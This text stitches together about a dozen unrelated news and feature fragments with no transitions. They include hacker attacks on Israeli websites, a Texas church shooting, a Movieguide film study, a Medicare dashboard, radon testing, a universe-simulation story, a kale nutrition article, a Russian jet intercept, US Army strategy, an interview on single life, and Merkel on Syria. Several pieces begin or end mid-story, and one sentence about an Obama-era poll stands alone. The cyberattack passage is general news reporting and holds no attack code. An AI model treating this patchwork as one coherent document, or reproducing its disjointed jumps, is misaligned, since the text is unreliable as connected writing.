The hackers promised to continue the attack on Israeli websites and in fact, several hours later, the website of Israel Hayom newspaper was also paralyzed, with the hackers tweeting a similar message, "israelhayom.co.il tango down!"
The attacks saturated the websites' servers with information such that it could not respond to legitimate internet traffic.
The websites of two Israeli hospitals were also brought down earlier Wednesday.
According to the Sheba Medical Center, Tel Hashomer, the Mossad identified multiple attempts to break into the hospitals website, similar to previous cyber attacks on websites of important Israeli institutions.
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As a result, Shebas website was paralyzed for several hours, saying that its security system is attempting to identify the source of attack the problem in order to block threatening activity.
The Sheba website, as well as that of Assouta Medical Center, Tel Aviv were able to be fully recovered, however, the extent of the damage caused to the patients personal files has yet to be seen.
Also on Wednesday, the website of the Israel Festival was brought down. Pro-Palestinian hackers wrote "Free Palestine" in several parts of the site, and featured an image of the Israeli and American flag burning.
The cyber war kicked off in early January, when a hacker calling himself "OxOmar" published online the credit card details of thousands of Israelis, after breaking into what he said were more than 80 Israeli servers.
He said he was then joined by a group calling itself Nightmare, and went on to paralyze several Israeli websites, including that of the Tel Aviv Stock Exchange and Israel's El-Al International Airlines.
Pro-Israel hackers, for their part, published the log-in details of 20,000 Arab Facebook users, and said they had taken down websites in Saudi Arabia and the United Arab Emirates.
Read this article in Hebrew
The Daily Mail reports that a local resident claims Willeford managed to shoot the alleged gunman, Devin Patrick Kelley, 26, between the plates of the body armor that he was wearing. Willeford is described as a plumber and motorcycle enthusiast with no military experience but with excellent aim.
According to an eyewitness interviewed by KENS 5, Willeford stopped the gunman by firing at him with his own rifle from outside the church, then by pursuing him afterwards:
Our neighbor, he’s a very good guy, a very big Christian, he’s the nicest man on the planet, he’ll do anything for anyone around here. We’ve known him for years. He’s childhood friends with my dad. He … came with his [gun], and he took cover behind a car, and he shot the guy, I’m not sure if it was inside the church or the guy was coming out, but if it wasn’t for him, the guy wouldn’t have stopped. And then that’s when the guy got in his vehicle and drove off. And our friend shot through the window at him, trying to get him again, and then he apparently crashed down the road.
He added: “If it wasn’t for our friend … there might have been more lives lost.”
Local law enforcement officials reported that the gunman dropped his weapon after being shot at by the “local citizen,” i.e. Willeford, whose name has not been officially confirmed.
According to numerous media reports, Willeford flagged down local Johnnie Langendorff, and the two pursued Kelley in Langendorff’s truck until Kelley drove off the road. He was found dead in his vehicle, though it is not yet clear whether he took his own life or had been wounded earlier by Willeford.
Both Willeford and Langendorff are being hailed as heroes for confronting the gunman.
Critics on social media argue that the “good guy with a gun” did not prevent the gunman from killing 26 and wounding dozens more.
This according to an annual study conducted by the Christian-focused entertainment advocacy group Movieguide, which found that in 2011, American audiences preferred movies with strong conservative content and values over movies with liberal or left-leaning values by an almost six-to-one margin.
The 760-page report claims that films with a conservative or pro-American edge, such as “Captain America,” “Mission: Impossible – Ghost Protocol,” “Soul Surfer,” “Transformers: Dark of the Moon” and “Battle: Los Angeles” raked in significantly more box office green than more liberal films like “Red State,” “Super 8,” “J. Edgar,” “Glee” and “Ides of March.”
“People want good to overcome evil, justice to prevail over injustice and liberty to conquer tyranny. They respond to strong heroes and even strong heroines, but they are turned off by radical social engineering and big government programs,” Movieguide publisher Dr. Ted Baehr said of the report, which rates movies using several criteria such as “anti-communist content,” “strong biblical morality,” and “strong pro-capitalist content.”
The study also claimed that the stronger the Christian worldview in the film, the more money it made.
Films considered to have a significant redemptive or religious focus such as “Pirates of the Caribbean: Stranger Tides,” “The Help” and “Extremely Loud and Incredibly Close” made more money in theaters last year than those with a non or anti-Christian core, or a mixed/humanist perspective, including “The Girl With the Dragon Tattoo,” The Hangover II” and “The Rum Diary.” In fact, Movieguide’s report asserts that the Christian-motivated movies, on average, earned four times as much in box office returns – $64.3 million as opposed to $15.9 million.
“Most people dedicated to a particular faith are likely to find the violence, substance abuse, sexual immorality, and mocking of traditional values in most modern movies offensive," said Megan Basham, entertainment editor at Christian news site, World Magazine. "The rare well-made film that offers the opposite is going to appeal to church-goers of every stripe."
In addition, Movieguide reports that among the Top 25 DVD sales last year for theatrical movies, 52 percent had at least a small amount of patriotic or pro-Christian content, while only 8 percent were considered to be on the left side of the spectrum.
Baehr also pointed out that more than three quarters of Americans (238 million people) and 2.3 billion people globally, identify themselves as Christians, and Hollywood is finally starting to realize that this niche is an important one.
The Dashboard includes data for 2011 and presents summarized information on the prevalence of chronic conditions, as well as aggregate Medicare costs and utilization measures for beneficiaries with multiple chronic conditions at various geographic levels – national, state, and hospital referral region. Examples of what you can find in the Dashboard include:
Summary statistics for Medicare fee-for-service (FFS) beneficiaries residing in the 50 U.S. states and the District of Columbia, who were continuously enrolled in Medicare FFS, parts A and B, for 2011.
Geographic comparisons (national, state, and hospital referral region) and population comparisons (sex, age, dually eligible for Medicaid) for the following metrics:
the prevalence of 15 chronic conditions; the prevalence of multiple chronic conditions; the per capita Medicare spending by the number of chronic conditions; the 30-day hospital readmission rate by the number of chronic conditions; the number of emergency department (ER) visits per 1,000 beneficiaries by number of chronic conditions.
In addition, you can directly download the population-level data underlying these calculations in machine-readable formats to produce your own analysis (all while protecting beneficiary privacy; no patient-level data is being released).
Currently, little is known about differences in health care use and spending across states (or other geographic areas) for populations with multiple chronic conditions. The Dashboard’s data analytics compare information in beneficiary populations and in different geographic settings, which can help to identify areas for improving health outcomes, lowering costs, and maximizing patients’ quality of life.
When lab results produced higher-than-normal levels, Kovacs wasn’t surprised given their home is on bedrock — and radon, a natural, radioactive gas — is produced by the decay of uranium found in rocks and soil.
“Knowing that radon was directly correlated to the bedrock that is under our home … we just assumed that it would be above normal, and worthwhile to get tested,” said Kovacs, who became concerned after attending a community information meeting.
Radon is colourless, odourless, tasteless, and escapes into the atmosphere and seeps into buildings — particularly areas like basements and poorly or never ventilated indoor spaces.
To mark Lung Cancer Awareness and Radon Action Month, the Canadian Cancer Society commissioned a survey of 1,000 Ontario homeowners with finished or partially finished basements and who have one or more children under 18. The survey revealed how much time children and their parents spend inside and outside the home in basement spaces, which are high-risk areas for radon exposure.
Four out of every 10 children and teens spend at least three hours a day in their basements, and 14 per cent have a bedroom at or below ground level. Outside the home, 20 per cent of kids spend a minimum of three hours in basements or in ground-floor environments such as classrooms and daycares.
Based on a March 2012 report, Health Canada says one in 20 Ontario homes contain dangerous levels of the cancer-causing gas, which, according to the cancer society, kills 850 Ontarians each year, 10 times as many people as house fires and carbon monoxide poisoning combined, and accounts for 13 per cent of lung cancer deaths in the province per year.
At-home test kits can be purchased over the Internet or from a hardware or home improvement store, or a professional can be hired to test for radon.
It is recommended people use the at-home test for at least three months, ideally between September and April, when windows and doors are typically kept closed. At the end of this period the kit is sent to a lab for analysis (that information is included in the kit).
Kovacs’s kit cost $50 (including lab costs), but kits typically range between $25 and $170 according to the City of Ottawa.
Her home tested at 303 bcq/m3 (becquerels per cubic metre) above Health Canada’s recommended guideline of 200 bcq/m3. Given her levels were higher, their home required remediation. The one-day job involved drilling a hole in the basement floor and installing piping and a fan unit to vent the gas outside the home.
While the remediation cost $3,400 was covered with her Tarion Home Warranty (her family has lived in their house for six years and the warranty was good for seven years), she would have had the work done regardless.
“It’s just peace of mind. Every time my kids go down (to the basement) I’m not concerned about what they are breathing in or how much time they’re spending down there because we’ve taken care of that problem.”
More than three-quarters of 2,000 people surveyed on Tuesday, the day of the historic election which saw Obama become the first African-American elected to the White House, and on Wednesday, said the US has gone "pretty seriously off on the wrong track" and needed change.
It sounded cute at first; researchers led by Silas R. Beane at University of Bonn in Germany say that they are trying to learn if our universe is just a computer simulation.
Of course, my writer-ly brain immediately jumps to images of leather duster-clad Keanu Reeves, Laurence Fishburne and Carrie-Anne Moss in “The Matrix.”
That’s followed by that scene at the end of “Men in Black” where Will Smith closes his locker and we realize our universe is just the center of some space alien marble.
This, of course, would not be the first time my writer’s brain has let me down when it comes to science (as every high school teacher I’ve ever had can attest).
Okay, so here goes the best bad explanation I can give you: physics is built, in part, upon something called quantum chromodynamics.
Quantum chromodynamics tries to explain how the universe operates at its very smallest, most essential levels.
And, as physicists and scientists are wont to do, they have tried to learn more about quantum chromodynamics by simulating it on a computer.
More from GlobalPost: Enormous radio satellite begins scanning the heavens from Australia
However, when you simulate quantum chromodynamics, you’re essentially simulating the universe itself, Technology Review says.
Right now, the limits are so tight and the results so small, that our measely supercomputers are just scratching the surface.
However, from what I gather, that means if our computers could become powerful enough, we could actually create a universe.
Of course, by “we” I don’t mean me.
Therein lies more questions, though, and the smart people in our world ask this: “What if WE are just operating on some alien supercomputer? Could we run some tests to find out?”
Apparently, we’re getting there.
As TechSpot says it, “even the most powerful universe simulation would be subject to certain limitations of its host universe. The team believes those limitations would be observable by its inhabitants, too.”
Finding those limitations involves studying how particles travel through the universe and how they might react to the edge of the universe, Wired reported.
It might make you think about Christopher Columbus setting sail to prove the world is round, not flat.
Only this time, Beane is using computers to learn if the universe is sitting on a lattice with a definable edge.
At least I think that’s what happened.
The nutrients it contains support healthy skin, hair, and bones. The fiber content enhances digestion and contributes to cardiovascular health.
With more nutritional value than spinach, it may help improve blood glucose control in diabetes, lower the risk of cancer, reduce blood pressure, and help prevent the development of asthma.
This MNT Knowledge Center feature is part of a collection of articles on the health benefits of popular foods.
Fast facts on kale: Here are some key points about kale. More detail is in the main article. Kale is a green, leafy, winter vegetable that is high in fiber.
The potassium content of kale may help reduce the risk of heart disease.
It can be a tasty and nutritious side dish or an addition to smoothies and salads.
Anyone who is taking blood thinning medication or who has a kidney problem should check with a doctor before adding more kale to the diet.
Benefits
Kale adds nutritional value and color to salads and side dishes. Kale adds nutritional value and color to salads and side dishes.
The nutrients in kale can help boost wellbeing and prevent a range of health problems.
It contains fiber, antioxidants, calcium, and vitamin K, among others.
Even the chlorophyll in kale may have health benefits.
It is also a good source of vitamin C and iron.
Diabetes
The fiber and antioxidants in kale may offer protection against diabetes.
Fiber: Studies have shown that a high intake of fiber may lower blood glucose levels in people with type-1 diabetes. Those with type-2 diabetes may see improved blood sugar, lipids, and insulin levels.
One cup of chopped fresh kale, weighing about 16 grams (g), provides 0.6 g of fiber.
A cup of cooked kale (about 130 g) provides 2.6 g of fiber.
The Dietary Guidelines for Americans 2015-2020 recommend a fiber intake of between 25 g and 33.6 g for adults aged over 18 years.
Antioxidants: Kale contains an antioxidant known as alpha-lipoic acid.
Studies suggest that this can help lower glucose levels, increase insulin sensitivity, and prevent oxidative stress-induced changes in patients with diabetes. It may also decrease peripheral neuropathy and autonomic neuropathy in these patients.
Most studies have used high doses of alpha-lipoic acid administered intravenously, rather than dietary sources. Nevertheless, kale can contribute to a healthy daily intake of this nutrient, which is also produced in our bodies naturally.
Heart disease
The fiber, potassium, vitamin C, and vitamin B6 found in kale all support heart health.
Increasing potassium intake while decreasing sodium intake is recommended to reduce the risk of cardiovascular disease (CVD).
In one study, participants who consumed 4,069 milligrams (mg) of potassium each day had a 49 percent lower risk of death from ischemic heart disease compared with those who consumed around 1,793 mg per day.
A high potassium intake is also associated with a reduced risk of stroke, protection against loss of muscle mass, preservation of bone mineral density, and reduction in the formation of kidney stones.
For lowering blood pressure, consuming more potassium may be as important as decreasing sodium intake, because potassium dilates the blood vessels.
The recommended intake of potassium is 4,700 mg a day. According to the National Health and Nutrition Examination Survey (NHANES), fewer than 2 percent of adults in the United States (U.S.) meet this recommendation.
Kale can help boost this intake.
One cup of chopped fresh kale provides 79 mg of potassium
One cup of cooked kale provides 296 mg of potassium
A high potassium intake is associated with a 20 percent lower risk of dying from all causes.
Cancer
Kale and other green vegetables that contain chlorophyll can help prevent the body from absorbing heterocyclic amines. These chemicals are produced when grilling animal-derived foods at a high temperature, and they are associated with cancer.
Although the human body cannot absorb much chlorophyll, the chlorophyll in kale binds to these carcinogens and prevents the body from absorbing them. In this way, it may help limit the risk of cancer.
Anyone who enjoys a chargrilled steak should pair it with green vegetables to help reduce the negative impact.
Bone health
Some research has suggested that a low intake of vitamin K is associated with a higher risk of bone fracture.
While the human body creates most of the vitamin K it needs, adequate vitamin K consumption is important for good health. It helps modify bone matrix proteins, improves calcium absorption, and may reduce the amount of calcium excreted in urine.
Kale is a good source of vitamin K.
Digestion
Kale is high in fiber and water. Both of these help prevent constipation and promote regularity and a healthy digestive tract.
It also contains B vitamins, and vitamin C, which promotes iron absorption. These are essential for the release of energy from food.
Healthy skin and hair
Kale is high in beta-carotene, the carotenoid that is converted by the body into vitamin A as needed.
A cup of cooked kale provides 885 mcg of retinol A equivalent, or 17,707 International Units (IU) of vitamin A.
This nutrient enables all bodily tissues to grow, including skin and hair. It is also essential for the production of sebum, the oil that helps keep skin and hair moisturized. Immune function, eyesight, and reproductive function also rely on vitamin A.
A cup of cooked kale also provides 53.3 mg of vitamin C, which is needed to build and maintain collagen, the key protein that provides structure for skin, hair and bones.
Vitamin C and iron are also present in kale. Vitamin C helps the body absorb iron. One cup of cooked kale contains 1.17 mg of iron. An adequate intake of iron can help prevent anemia.
Nutrition
Kale is a green and leafy cruciferous vegetable that is rich in nutrients and fiber.
A cup of chopped, raw kale, weighing about 16 g contains:
8 calories
0.68 g of protein
1.4 g of carbohydrate
0.6 g of fiber
24 mg of calcium
0.24 mg of iron
8 mg of magnesium
15 mg of phosphorus
79 mg of potassium
6 mg of sodium
19.2 mg of vitamin C
23 mcg of folate DFE
112.8 micrograms (mcg) of vitamin K
80 mcg of vitamin A, RAE
One cup of cooked kale has over 1,000 percent more vitamin C than a cup of cooked spinach. Unlike spinach, kale is low in oxalate, so the calcium and iron it provides are more easily absorbed by the human digestive system.
Dietary tips
Dinosaur kale Dinosaur kale
It is also hearty and crisp, with a hint of earthiness. Different types of kale have slightly different flavor and nutrient profiles. Younger leaves and summer leaves tend to be less bitter and fibrous.
Curly kale is the most commonly available type. It is usually bright green, dark green, or purple in color. It has tight, ruffled leaves that are easy to tear. To remove the leaves from the fibrous stalk, run your hand down the stalk in the direction of growth.
Lacinato or dinosaur kale is a dark blue-green variety that is firmer and more robust than curly kale. It is known as dinosaur kale because of its scaly texture. These leaves are generally longer and flat and maintain their texture after cooking. Less bitter than curly kale, dinosaur kale is ideal for making kale chips.
Red Russian kale is a flat-leaf variety that looks a little like oak leaves. The stalks are slightly purple stalks and the leaves have a reddish tinge. The stalks are very fibrous and are not usually eaten as they can be rather difficult to chew and swallow. The leaves of red Russian kale are sweeter and more delicate than other types, with a hint of pepper and lemon, almost like sorrel. They are ideal for salads, sandwiches, juices, and as a garnish.
Kale grows well in the colder winter months, making a good addition when other fruits and vegetables are less readily available. Winter kale is usually better cooked, as colder weather can turn the sugars in kale into starch, increasing the bitterness and fiber content.
Serving suggestions
Kale can be enjoyed raw in salads or on sandwiches or wraps, steamed, braised, boiled, sautéed or added to soups and casseroles.
In salads: When using kale raw in salads, massage the leaves by scrunching them briefly in the hands. This begins the breakdown of the cellulose in the leaves and helps release the nutrients for easier absorption.
As a side dish: Sauté fresh garlic and onions in extra-virgin olive oil until soft. Add kale and continue to sauté until desired tenderness. Alternatively, steam for 5 minutes, then drain and stir in a dash of soy sauce and tahini.
Kale chips: Remove the ribs from the kale and toss in extra-virgin olive oil or lightly spray and sprinkle with a combination of cumin, curry powder, chili powder, roasted red pepper flakes or garlic powder. Bake at 275 degrees Fahrenheit for 15 to 30 minutes to desired crispness.
Smoothies: In a food processor or a high-speed blender, add a handful of kale to your favorite smoothie. It will add nutrients without changing the flavor very much.
Risks
Beta-blockers, a type of medication most commonly prescribed for heart disease, can cause an increase in potassium levels in the blood. High potassium foods, such as bananas and cooked kale, should be consumed in moderation when taking beta-blockers.
Consuming too much potassium can be harmful for those whose kidneys are not fully functional. If the kidneys cannot remove excess potassium from the blood, consuming additional potassium could be fatal.
A cup of kale provides 1,062.1 mcg of vitamin K. This could interfere with the activity of blood thinners such as warfarin, or Coumadin. Patients who are taking these medications should speak to their doctor about foods to avoid.
Pentagon spokesman Col. Steve Warren told reporters Tuesday the close call occurred on the afternoon of April 23 when a Russian Su-27 "Flanker" fighter jet intercepted a U.S. Air Force RC-135U reconnaissance aircraft in international airspace over the Sea of Okhotsk. That body of water is situated between the eastern Russian mainland and the Kamchatka Peninsula.
According to Warren, the Russian fighter approached the RC-135U "across the nose of the US aircraft, within approximately 100 feet."
"Our senior leadership in the department have communicated our concerns over that incident directly the Russian government." Warren said. Defense Secretary Chuck Hagel and chairman of the Joint Chiefs Gen. Martin Dempsey had both communicated their concerns to their Russian counterparts, though he did not know in what form.
Warren said there were no radio communications between the two aircraft or any other type of non-verbal communication. He did say that "there was some maneuvering by the Flanker, he kind of turned a little bit to expose its belly to the RC-135u." Though it's hard to understand the intent of that move Warren said that because of the maneuver the crew aboard the American plane was able to see that the Russian aircraft was armed.
Warren said he's not aware of any other similar incidents since this incident and that American aircraft are continuing to conduct normal flight operations.
The Air Force has only two RC-135U's in its inventory, the aircraft are essentially Boeing 707's that carry specialized equipment able to monitor land, air and sea radar signals.
ANALYSIS: The US military sees the next 30 to 40 years as involving a state of continuous war against ideologically-motivated terrorists and competing with Russia and China for natural resources and markets, writes Tom Clonan
AS GENERAL Ray Odierno takes command of US forces in Baghdad from troop surge architect Gen David Petraeus, America has begun planning in earnest for its phased withdrawal.
The extra brigade combat teams - or battlegroups - deployed to Iraq by Petraeus have already withdrawn and a further 8,000 troops have been diverted to Afghanistan.
In January, the next president of the United States will conclude America's timetable for withdrawal in final negotiations with the Iraqi government.
Further evidence of America's future military intentions is contained in recently published strategy documents issued by the US military.
Under the auspices of the US department of defence and department of the army, the US military have just published a document entitled 2008 Army Modernization Strategy which makes for interesting reading against the current backdrop of deteriorating international fiscal, environmental, energy resource and security crises.
The 2008 modernisation strategy, written by Lieut Gen Stephen Speakes, deputy chief of staff of the US army, contains the first explicit and official acknowledgement that the US military is dangerously overstretched internationally. It states simply: "The army is engaged in the third-longest war in our nation's history and . . . the Global War on Terrorism (GWOT) has caused the army to become out of balance with the demand for forces exceeding the sustainable supply."
Against this backdrop, the 90 page document sets out the future of international conflict for the next 30 to 40 years - as the US military sees it - and outlines the manner in which the military will sustain its current operations and prepare and "transform" itself for future "persistent" warfare.
The document reveals a number of profoundly significant - and worrying - strategic positions that have been adopted as official doctrine by the US military. In its preamble, it predicts a post cold war future of "perpetual warfare".
According to its authors: "We have entered an era of persistent conflict . . . a security environment much more ambiguous and unpredictable than that faced during the cold war."
It then goes on to describe the key features of this dawning era of continuous warfare. Some of the characteristics are familiar enough to a world audience accustomed to the rhetoric of the global war on terror.
"A key current threat is a radical, ideology-based, long-term terrorist threat bent on using any means available - to include weapons of mass destruction - to achieve its political and ideological ends."
Relatively new, "emerging" features are also included in the document's rationale for future threats.
"We face a potential return to traditional security threats posed by emerging near-peers as we compete globally for depleting natural resources and overseas markets."
This thinly-veiled reference to Russia and China will, perhaps, come as little surprise given recent events in Ossetia and Abkhazia. The explicit reference in this context to future resource wars, however, will probably raise eyebrows among the international diplomatic community, who prefer to couch such conflicts as human rights-based or rooted in notions around freedom and democracy.
The document, however, contains no such lofty pretences. It goes on to list as a pre-eminent threat to the security of the US and its allies "population growth - especially in less-developed countries - [which] will expose a resulting 'youth bulge'."
This youth bulge, the document goes on to state, will present the US with further "resource competition" in that these expanding populations in the developing world "will consume ever increasing amounts of food, water and energy".
The document goes on to describe in broad-strokes the manner in which its downsized military might ensure survival of the fittest for the US and its allies in future resource wars for water, food and energy.
As a consequence of identifying growing populations in the developed world as a threat in itself, the strategy document highlights a number of paradigm shifts in the way future wars are to be conducted.
It predicts that "21st Century operations will require soldiers to engage among populations and diverse cultures instead of avoiding them".
The document reveals that new US tactical doctrine provides a template by which air, naval and field commanders will no longer just secure traditional strategic targets such as airspace, seaports and bridgeheads, but will, of necessity, also deploy and fight amongst and against the target population itself to win wars.
The document refers to this euphemistically as "commanders employing offensive, defensive and stability or civil support operations simultaneously".
The remainder of the document is devoted to describing in detail how a downsized all volunteer US military - numbering approximately one million soldiers, aircrew and sailors - could maintain an ever-present, international, offensive posture in many countries across many time-zones.
It describes how information communication technologies and digital technologies will create a new "networked" human soldier - the 'Future Force Warrior' - who will deploy among the target population and will operate simultaneously several remote, unmanned ground and air weapons systems.
To this end, the US military is rapidly expanding its inventory of computerised, robotic ground weapons and unmanned aerial vehicles .
According to the strategy document, by supplementing relatively small forces of US troops - brigade combat teams - with ever-larger fleets of remotely controlled, unmanned weapons systems, America will be able to successfully deploy its downsized military to maximum effect among the emerging international youth bulge.
Supplementing these future global offensive operations, according to the strategy document, is the US military's planned domination of inner space or the earth's exo-atmospheric zone.
The document states: "Space is a significant area of joint development that supports battle space awareness and is the backbone for the national and military intelligence, surveillance and reconnaissance architecture, as well as being the domain of choice for commercial broad-area sensing enterprises with military utility."
Together with the US Missile Defence Agency, the US military is currently developing "space-based assets continuously monitoring the globe".
The report elaborates on this by stating that "army space forces are deployed worldwide supporting US efforts to fight and win [the global war on terror]."
The report adds that US military "space control operations ensure freedom of action in space for the United States and its allies and when necessary, deny an adversary freedom of action in space".
The document refers to operations in Iraq in the past tense. It implies that operations in Afghanistan may be expanded.
It states explicitly that the US military is preparing to fight continuous resource wars "for the long haul".
The document also describes explicitly the manner in which the earth's orbit is now deemed a legitimate zone for offensive military activity. This extraordinary document describes US strategic doctrine in terms worthy of 20th century science fiction.
The mix of 20th century science fiction and Orwellian perspectives unwittingly contained in the document appear rapidly to be materialising as fact.
Dr Tom Clonan is the Irish Times Security Analyst. He lectures in the School of Media, DIT. tclonan@irish-times.ie
© 2008 The Irish Times
In his new book, “Single: Arguments for the Uncoupled,” Michael Cobb, a professor of English at the University of Toronto, argues that our negative attitudes toward single people aren’t just hurting singles — they’re hurting our relationships and our culture. An academic work about music, film and literature, it claims that singles in North America have become a hated sexual minority, victims of our culture’s misplaced and out-of-step priorities. Cobb believes that single life can be as fulfilling, interesting and legitimate as any romantic arrangement, and that it’s high time we gave it more respect.
Salon spoke to Cobb over the phone from Toronto about the possibility of an unmarried president, “Girls” and what it’s like to be the spokesperson for singleness.
You argue that our current culture considers singleness to be a “conundrum.” What do you mean by that?
I don’t think we even know what being single is. We live in such a couples-obsessed society that there really are no “singles” out there — everyone is pre- or post-coupled. They’re either in the wings waiting or they’re past their prime and are no longer allowed to be part of this central way people not only organize their intimate lives but attain social legitimacy. People use relationships to bind themselves to social, political and cultural realities.
I’ve been in lots of relationships and those relationships have their own interesting moments. They are fulfilling in all sorts of ways and distressing in all sorts of ways. But the loneliest I have ever felt is with this other person I am with. And that’s not supposed to be the case.
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Intimacies are always kind of like that. You think, “This is supposed to alleviate me from all this sadness and loneliness, and yet it’s just intensifying these feelings — but the single must have it much worse.” I feel like a lot of that bad effect is just projected onto single people, and that condition is rendered pathetic and sad and depressing. This is why it doesn’t have a language of its own because the language of singleness is really the language of couples who are pitying single people.
Funny, I never thought of that. It’s true. We really do use the word “single” really just as a shorthand for someone who’s looking to date someone.
Exactly, or they’re tragic and sad, like old maids or widows. They’re people who just couldn’t make it into that very special status. Part of why that narrative persists is that there’s this overarching disquiet about how you create a narrative for yourself [if you're not in a relationship]. And there’s this sense that this anxiety can be alleviated if you just fall in love.
Right. That’s sort of like your experience with your grandmother, whom you write about in the book.
When my grandmother was dying, on her deathbed, I was talking to her and she put her hand onto mine and she said, “Michael I don’t want you to die alone.” It was part of an ongoing conversation we’d had about how important it was to have a partner. People talk about one of the reasons you do get involved with people is you want someone to take care of you because you don’t want to die alone. It scares you into being into a couple.
From my perspective, [my grandparents' relationship] was an excellent relationship. It was long. It was fruitful. They enjoyed each other’s company a great deal. And it was the way she mediated the whole world. She thought about her world as a shared experience with this other person, my grandfather Joe. There were all these moments throughout the 20th century that were narrated to me through her relationship, stories of WWII were really about my grandfather being on a boat in the South Pacific as a cook. A lot of people do this in their lives, think of people that are meaningful to them and attach the history that is swirling around them to that person. But nevertheless it starts to feel corseted, because there don’t appear to be that many instances in the world that allow you another way of organizing the world. How do people who are by themselves imagine themselves to belong to the world?
In the grand scheme of things, though, why is this an important issue?
If marriage and couples are supposed to be this magic bullet, and your relationship is the thing that is supposed to define and make the world for you, that’s putting an enormous amount of pressure on that relationship. This book is not against couples — it’s really against the primacy of the couple, the anxious over-importance of the couple that actually makes couples fail because you can’t by definition make a whole world out of one other person. If you try, you’re shrinking your world and your existence in the hope it’s going to cure everything. It creates a lot of distress and at the same time it’s invalidating your other experiences you had when you were by yourself, when you were dreaming up other kinds of associations you might have.
Can you imagine a presidential candidate being unmarried? The only people who can get into high political office while unmarried are basically Supreme Court justices and that creates an enormous amount of anxiety, gossip and innuendo.
Well, there were actually two single presidents, James Buchanan and Grover Cleveland, though he got married shortly after being elected. These days, though, I think you’re right — it’s almost impossible to imagine a single president. What do you think has changed?
Over time, love, marriage and romance just became less and less about property and the exchange of property and more of a personal choice. That had a lot to do with the industrial revolution and the rise of commodity culture and finance capital. And this is a hunch, but I think because it’s a personal choice and people are not moved to be married in the way they used to be, they have to be coerced. You have to convince people to be involved in this set of assumptions, traditions and rituals they think they most want to be involved in.
People get very angry when I say things like this. When I was in college most of my friends weren’t going to get married or take their partners’ names or have children; they weren’t going to take the typical route to mature adulthood that requires marriage and a baby. And all of them — all of them — have done that except for one, my friend Kate Bolick, who recently wrote “Single Ladies (Put a Ring on It).” It showed off that you can be single and interesting and buy expensive clothing and go to great parties in New York for a little while but eventually you are going to grow up. Eventually, you’re going to wisen up, put a ring on it and go forward and be coupled and move to Connecticut. We aren’t going to pathologize you for playing around for a protracted amount of time, but eventually you’re going to have to settle. And the marker of success, the end of the romantic story, is riding off into the sunset with that person. But you don’t get to see the next 30 years of boredom, or anxiety, or terror or concern.
“Girls,” which has been positioned as a new, updated “Sex and the City,” has a lot of the same concerns. All of the main characters are grappling with the idea of finding a boyfriend.
I’ve only seen the first episode, but the “Girls” age group is in a tricky place — they aren’t ready to grow up, but they’re thinking about the moment when they are going to. They’re dreaming of being in a couple but still dwelling in this unattached world. One character is involved with that boyfriend who is awful because he loves her too much. He’s awful because he’s potentially the future she’s going to have. The young are terrified of this thing they’re going to have to become.
We’re both queer, and, as such, I think, part of the one subgroup in North America where singleness is still fairly acceptable. Given the push for marriage, though, that may be changing.
Singles are more tolerated in the queer community, at least before there was this voluminous and understandable but overly focused push for marriage equality, but I think the [LGBT] narrative of singleness has been about the narrative of unlimited sexual partners — and I don’t think that’s produced a cherishing of singleness. It still hasn’t gotten to the point where we’re thinking what does it mean to have no sexual relations or to interrupt the inevitability of sexual relations. I have this moment in my book where I talk about how I started attaching “S” to “LGBTQ” partly because being single does feel like a sexual minority category.
Of course, from a practical standpoint, one of the advantages of being in a couple is that when we’re older we’ll have people around to help us do things like, I don’t know, move boxes across the floor. I feel that anxiety.
This is why I started the whole book with the anecdote about my grandma. I don’t think of singleness as an easy condition. It’s very very hard. “30 Rock” had a joke that Liz Lemon would be by herself in her apartment choking on some piece of food and have to self-administer the Heimlich. If I don’t have someone here to help me if I’m having a medical emergency, well then I’m dead. That’s awful and upsetting, but on the other hand, that’s you trying to predict the future, and you could be living with someone who’s blocking your happiness that’s not letting you flourish. People think, “I can endure an awful relationship for a number of years as long as they can help me move the box across the floor.” But think about how often do you really move boxes that require that much assistance.
I was in a six-year relationship that wasn’t the happiest relationship. There were great moments and then it stopped being great and it took me a long time to wrap my head around being by myself. Ending that relationship was better for both of us, and to get to that place is really hard because singleness is a scary place where you’re going to die or you’re not going to be able to move that box. But that fear is probably much greater than the actual experience of it. I was just with a friend who was helping his great-aunt go to his grandma’s house. She lived in this two-story house by herself, and she was able to move around and do stuff in her 90s and seemed happy.
Does it make you anxious that you’re becoming the spokesperson for singledom? That’s a lot of pressure.
I’m putting myself out there as fodder, partly because I do think arguments are more convincing if you personalize them and stand behind them. People attack me for being bitter or not being mature enough to truly commit or being an ivory tower elitist because I’m a professor. It’s incredibly antagonistic because people are fighting for the legitimacy of this thing that they see as so important and they see me critiquing them specifically. But what I’m actually doing is critiquing the institutions and the hierarchy and the prominence of it, not necessarily the actual experience of being someone who’s being involved or not involved.
I was in this relationship for most of the time I was writing this book and it drove people crazy because I was supposed to be this thing I was writing about. They wanted to invalidate me because I wasn’t practicing what I preach. And again, even since the book has been to press I’ve had heartbreaks and relationships and also long periods and long stretches of being on my own, and I’m finding neither condition to be the cure-all. But by asserting “I’m single right now and I’m happy and I have all sorts of fulfilling relationships, interests and activities” I’m creating a conversation about this thing, singleness, that has no official language or culture or history.
I was very happily single for most of the first five years I lived in New York, and almost all of my group of friends were single too. Now I’m in a relationship, which was a little awkward at first, mostly because it involved renegotiating my relationships with my happily single friends, and I was paranoid about creating resentments by, for example, talking too much about my boyfriend.
That probably comes from the fact that couples culture wins every time, so the resentment is that now you’ve become “legitimate.” So the perception is [that you're going to say], “I’m still going to be your friend and I’m going to try to be respectful that you’re in this damned condition even though you’re happy about it.” Hopefully you’ve determined that your relationship doesn’t invalidate the earlier [single] history you had, and they’re simply different moments in your life. You’re most likely the same person you were.
I think that’s very true.
What I’m saying is: You’re still a mess.
Germany and other western European powers need to work with Russia as well as the United States to solve the crisis in Syria, German Chancellor Angela Merkel said on Saturday.
Foreign Minister Frank-Walter Steinmeier met with his Russian, French and Ukrainian counterparts in Berlin on Saturday evening and said afterwards he saw growing support for creating an international contact group to solve the Syrian conflict.
